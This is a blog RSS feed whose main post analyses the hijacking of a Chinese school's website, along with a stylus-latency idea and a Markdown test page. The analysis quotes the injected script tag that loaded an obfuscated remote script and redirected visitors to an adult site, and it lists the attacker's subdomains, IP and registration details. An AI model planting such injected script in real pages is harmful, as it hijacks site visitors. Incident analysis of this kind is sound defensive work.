<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>RzdBlog</title><description>认真的π的博客</description><link>https://blog.rzdpai.com/</link><language>zh_CN</language><item><title>蚌埠铁路中学官网被攻击事件分析</title><link>https://blog.rzdpai.com/posts/bbtz/</link><guid isPermaLink="true">https://blog.rzdpai.com/posts/bbtz/</guid><description>蚌埠铁路中学官网被攻击事件的技术分析。</description><pubDate>Tue, 13 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;蚌埠铁路中学官网被攻击事件分析&lt;/h1&gt;
&lt;p&gt;5月12日中午，蚌埠铁路中学官方出现了一件离谱的事。从微信“蚌埠铁路中学”公众号进入铁中官网，会进入不良网站。直到下午一点，网站才关闭。从浏览器打开是这样的：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.rzdpai.com/_astro/image1.lXC9jYGN_Z5tFAl.webp&quot; alt=&quot;浏览器访问截图&quot; /&gt;&lt;/p&gt;
&lt;p&gt;但是解析到的 ip 是 &lt;code&gt;60.170.253.4&lt;/code&gt;，确实是铁中。&lt;/p&gt;
&lt;p&gt;从浏览器直接访问蚌埠铁路中学官方依旧是 &lt;code&gt;https://www.bbtlzx.com&lt;/code&gt;，而微信打开的是 &lt;code&gt;http://www.bbtlzx.com/index.aspx&lt;/code&gt;，问题就出在这个后缀上。不仅是 &lt;code&gt;index.aspx&lt;/code&gt; 和 &lt;code&gt;index.html&lt;/code&gt;，只要链接后面带上任意路径，都会打开不良网站，铁中官网真的被攻击了。&lt;/p&gt;
&lt;p&gt;查看一下 html，就一行：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;script src=&quot;https://tz.[马赛克].com/nn.js&quot;&amp;gt;&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;把这个脚本下载下来，里面的代码经过混淆，唯一正常的地方是判断 UA。但是这个脚本用脚趾头想都知道是干什么的——它会打开一个新的页面。&lt;/p&gt;
&lt;p&gt;经过一番操作（我知道大家不想看具体流程），我们得到了这三个链接和几个标签（LINK，STYLE，SCRIPT，IFRAME，DIV）：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;https://hm.baidu.com/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;https://hm.baidu.com/hm.js?333b84ee83b6ca1f3b6184a73cc31e7f&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;https://bz5122.[马赛克].com/2024/mm/nn.html&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;（它甚至用了百度统计）&lt;/p&gt;
&lt;p&gt;接着重头戏来了：&lt;code&gt;ping&lt;/code&gt; 一下，发现解析到的 ip 全是国内 ip，也就是说这个域名有备案。去工信部查一下，沪ICP备2024095047号，上海蒂芬分网络科技。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.rzdpai.com/_astro/image2.DQDyAlWk_PsTpt.webp&quot; alt=&quot;工信部备案查询截图&quot; /&gt;&lt;/p&gt;
&lt;p&gt;那么有人可能又要说了，会不会是二级备案域名分发或者是备案域名忘续费了之类的？但是企业注册时间是 24 年 8 月 8 日，而域名注册时间是 24 年 8 月 30 日（28 年 8 月 30 日到期），很明显没有中断过。&lt;/p&gt;
&lt;p&gt;接着是第二个——这个域名的 NS 记录是华为云。而且不仅仅是这么简单。查一下 DNS 记录可知，除了 NS 记录外，还有一个 SOA 记录，两个 A 记录和 6 个 CNAME 记录（6 个子域）。那两个 A 记录能通的 ip 就一个，&lt;code&gt;113.45.12.80&lt;/code&gt;，是华为云。而且那六个 CNAME 到的域名的主域是 &lt;code&gt;cdnhwcpsd13.com&lt;/code&gt;，黔ICP备20004760号-27，华为云的 CDN。&lt;/p&gt;
&lt;p&gt;正常能在国内访问的，大多是一个便宜/监管宽松的域名 + 境外服务器，并且非常小心翼翼。这倒好，国内服务器 + 备案域名，而且攻击公立学校的官网。&lt;/p&gt;
&lt;p&gt;至于公司……一个已经注销的注册资金 10w 的空壳公司。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.rzdpai.com/_astro/image3.ClR_dgKQ_Z11vgtl.webp&quot; alt=&quot;公司注销截图&quot; /&gt;&lt;/p&gt;
&lt;p&gt;但是这里有个问题，既然公司已经注销，为什么不把备案注销了？而且从域名时间可以看出，中间并没有过到期，现在也还是正常状态，别人是改不了 DNS 记录的。&lt;/p&gt;
&lt;h2&gt;其它&lt;/h2&gt;
&lt;p&gt;它的 6 个子域中，fa6133、bz5122、ha1366、xa1455 可以通过 &lt;code&gt;2024/mm/nn.html&lt;/code&gt; 这个目录打开不良网站，只有站点名称和图标等细微差别。
而且 fa6133 和 bz5122 共用一个证书，ha1366 和 xa1455 共用一个证书。
还有剩下两个子域 xj2199 和 ttk112，虽然打不开，但前面的一些静态资源又存在上面，而且这两个页面之间也不一样。&lt;/p&gt;
&lt;p&gt;还有一个凑巧的事：碰巧发现的 &lt;code&gt;http://fa6133.[马赛克].com/index.css&lt;/code&gt;&lt;/p&gt;
</content:encoded></item><item><title>一种优化手写笔书写延迟的方案</title><link>https://blog.rzdpai.com/posts/pencil/pencil/</link><guid isPermaLink="true">https://blog.rzdpai.com/posts/pencil/pencil/</guid><description>一年多前军训期间躺在凉席上的突发奇想。</description><pubDate>Sun, 07 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;目前平板手写笔或多或少存在一些延迟。星闪虽说能做到零延迟，但对于手写笔这类设备来说，只能使用低功耗版本，依旧存在一定延迟。而电容笔也同样具有较为明显的延迟问题。&lt;/p&gt;
&lt;p&gt;不妨换个思路：将手写笔的笔头进行改造，使其类似于被动式电容笔的结构。随后，平板端的任务转变为准确识别哪一个触控点来自于手写笔，优先解决延迟问题，再结合倾斜角等附加信息进行笔画绘制（在非绘图类软件中，甚至可暂时降低功耗以提升续航）。&lt;/p&gt;
&lt;p&gt;该方案的优势在于，手写笔本身只需做出较小改动，同时主要调整也集中在触控算法的优化上，实现成本相对较低。&lt;/p&gt;
</content:encoded></item><item><title>测试文章</title><link>https://blog.rzdpai.com/posts/test/</link><guid isPermaLink="true">https://blog.rzdpai.com/posts/test/</guid><description>测试使用。</description><pubDate>Fri, 05 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;这里是一些在 Astro 中编写 Markdown 内容时可使用的基本 Markdown 语法示例。&lt;/p&gt;
&lt;h2&gt;标题&lt;/h2&gt;
&lt;p&gt;以下 HTML &lt;code&gt;&amp;lt;h1&amp;gt;&lt;/code&gt;—&lt;code&gt;&amp;lt;h6&amp;gt;&lt;/code&gt; 元素代表了六个级别的章节标题。&lt;code&gt;&amp;lt;h1&amp;gt;&lt;/code&gt; 是最高章节级别，而 &lt;code&gt;&amp;lt;h6&amp;gt;&lt;/code&gt; 是最低的。&lt;/p&gt;
&lt;h1&gt;H1&lt;/h1&gt;
&lt;h2&gt;H2&lt;/h2&gt;
&lt;h3&gt;H3&lt;/h3&gt;
&lt;h4&gt;H4&lt;/h4&gt;
&lt;h5&gt;H5&lt;/h5&gt;
&lt;h6&gt;H6&lt;/h6&gt;
&lt;h2&gt;图片&lt;/h2&gt;
&lt;h4&gt;语法&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;![替代文本](./完整或相对路径的图片)
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;输出&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.rzdpai.com/_astro/logo.DVzxwDFy_1omnhM.webp&quot; alt=&quot;博客占位图&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;块引用&lt;/h2&gt;
&lt;p&gt;块引用元素代表引自其他来源的内容，可以选择性地包含一个必须位于 &lt;code&gt;footer&lt;/code&gt; 或 &lt;code&gt;cite&lt;/code&gt; 元素内的引用，并且可以选择性地包含内联更改，例如注释和缩写。&lt;/p&gt;
&lt;h3&gt;无归属的块引用&lt;/h3&gt;
&lt;h4&gt;语法&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; Tiam, ad mint andaepu dandae nostion secatur sequo quae.
&amp;gt; **注意**，你可以在块引用中使用 _Markdown 语法_。
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;输出&lt;/h4&gt;
&lt;blockquote&gt;
&lt;p&gt;Tiam, ad mint andaepu dandae nostion secatur sequo quae.
&lt;strong&gt;注意&lt;/strong&gt;，你可以在块引用中使用 &lt;em&gt;Markdown 语法&lt;/em&gt;。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;带归属的块引用&lt;/h3&gt;
&lt;h4&gt;语法&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; 不要通过共享内存来通信，而要通过通信来共享内存。&amp;lt;br&amp;gt;
&amp;gt; — &amp;lt;cite&amp;gt;罗布·派克[^1]&amp;lt;/cite&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;输出&lt;/h4&gt;
&lt;blockquote&gt;
&lt;p&gt;不要通过共享内存来通信，而要通过通信来共享内存。&amp;lt;br&amp;gt;
— &amp;lt;cite&amp;gt;罗布·派克[^1]&amp;lt;/cite&amp;gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;[^1]: 以上引用摘自罗布·派克（Rob Pike）在 2015 年 11 月 18 日 Gopherfest 期间的&lt;a href=&quot;https://www.youtube.com/watch?v=PAAkCSZUG1c&quot;&gt;谈话&lt;/a&gt;。&lt;/p&gt;
&lt;h2&gt;表格&lt;/h2&gt;
&lt;h4&gt;语法&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;| 斜体      | 粗体       | 代码      |
| --------- | ---------- | --------- |
| _斜体_    | **粗体**   | `代码`    |
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;输出&lt;/h4&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;斜体&lt;/th&gt;
&lt;th&gt;粗体&lt;/th&gt;
&lt;th&gt;代码&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;em&gt;斜体&lt;/em&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;粗体&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;代码&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;代码块&lt;/h2&gt;
&lt;h4&gt;语法&lt;/h4&gt;
&lt;p&gt;我们可以使用 3 个反引号 ``` 在新的一行开始，编写代码片段，并在新的一行用 3 个反引号结束。若要高亮特定语言的语法，可以在开头的 3 个反引号后写上语言名称，例如 html、javascript、css、markdown、typescript、txt、bash。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;```c
float Q_rsqrt( float number )
{
    long i;
    float x2, y;
    const float threehalfs = 1.5F;

    x2 = number * 0.5F;
    y  = number;
    i  = * ( long * ) &amp;amp;y;                       // evil floating point bit level hacking
    i  = 0x5f3759df - ( i &amp;gt;&amp;gt; 1 );               // what the fuck?
    y  = * ( float * ) &amp;amp;i;
    y  = y * ( threehalfs - ( x2 * y * y ) );   // 1st iteration
//    y  = y * ( threehalfs - ( x2 * y * y ) );   // 2nd iteration, this can be removed

    return y;
}
```
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;输出&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;float Q_rsqrt( float number )
{
    long i;
    float x2, y;
    const float threehalfs = 1.5F;

    x2 = number * 0.5F;
    y  = number;
    i  = * ( long * ) &amp;amp;y;                       // evil floating point bit level hacking
    i  = 0x5f3759df - ( i &amp;gt;&amp;gt; 1 );               // what the fuck?
    y  = * ( float * ) &amp;amp;i;
    y  = y * ( threehalfs - ( x2 * y * y ) );   // 1st iteration
//    y  = y * ( threehalfs - ( x2 * y * y ) );   // 2nd iteration, this can be removed

    return y;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Mermaid 图表&lt;/h2&gt;
&lt;p&gt;Mermaid 是一个基于 JavaScript 的图表绘制工具，它使用 Markdown 风格的语法来创建各种图表。许多支持 Markdown 的平台（如 Astro、GitHub、Obsidian 等）都集成了 Mermaid，可以直接渲染。&lt;/p&gt;
&lt;h4&gt;语法&lt;/h4&gt;
&lt;p&gt;使用三个反引号代码块，并将语言标记为 &lt;code&gt;mermaid&lt;/code&gt;。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;```mermaid
// 你的 Mermaid 语法在这里
graph TD;
    A[开始] --&amp;gt; B{判断};
    B --&amp;gt;|是| C[执行操作];
    B --&amp;gt;|否| D[结束];
    C --&amp;gt; D;
```
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;示例：流程图 (Flowchart)&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;```mermaid
graph LR
    A[方形] --&amp;gt; B(圆角方形)
    B --&amp;gt; C{条件}
    C --&amp;gt;|选项1| D[结果一]
    C --&amp;gt;|选项2| E[结果二]
    F[\非标准形状/] --&amp;gt; D
```
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;输出&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;graph LR
    A[方形] --&amp;gt; B(圆角方形)
    B --&amp;gt; C{条件}
    C --&amp;gt;|选项1| D[结果一]
    C --&amp;gt;|选项2| E[结果二]
    F[\非标准形状/] --&amp;gt; D
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;示例：序列图 (Sequence Diagram)&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;```mermaid
sequenceDiagram
    参与者 Alice-&amp;gt;&amp;gt;John: 你好 John，最近怎么样？
    John--&amp;gt;&amp;gt;Alice: 很好！
    Alice-&amp;gt;&amp;gt;John: 你确定？
    Note right of John: John 想了想&amp;lt;br/&amp;gt;他很好
    John--&amp;gt;&amp;gt;Alice: 当然！
    Alice-&amp;gt;&amp;gt;John: 好的！
```
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;输出&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;sequenceDiagram
    参与者 Alice-&amp;gt;&amp;gt;John: 你好 John，最近怎么样？
    John--&amp;gt;&amp;gt;Alice: 很好！
    Alice-&amp;gt;&amp;gt;John: 你确定？
    Note right of John: John 想了想&amp;lt;br/&amp;gt;他很好
    John--&amp;gt;&amp;gt;Alice: 当然！
    Alice-&amp;gt;&amp;gt;John: 好的！
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;列表类型&lt;/h2&gt;
&lt;h3&gt;有序列表&lt;/h3&gt;
&lt;h4&gt;语法&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;1. 第一项
2. 第二项
3. 第三项
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;输出&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;第一项&lt;/li&gt;
&lt;li&gt;第二项&lt;/li&gt;
&lt;li&gt;第三项&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;无序列表&lt;/h3&gt;
&lt;h4&gt;语法&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;- 列表项
- 另一个项
- 还有一个项
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;输出&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;列表项&lt;/li&gt;
&lt;li&gt;另一个项&lt;/li&gt;
&lt;li&gt;还有一个项&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;嵌套列表&lt;/h3&gt;
&lt;h4&gt;语法&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;- 水果
  - 苹果
  - 橙子
  - 香蕉
- 奶制品
  - 牛奶
  - 奶酪
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;输出&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;水果
&lt;ul&gt;
&lt;li&gt;苹果&lt;/li&gt;
&lt;li&gt;橙子&lt;/li&gt;
&lt;li&gt;香蕉&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;奶制品
&lt;ul&gt;
&lt;li&gt;牛奶&lt;/li&gt;
&lt;li&gt;奶酪&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item></channel></rss>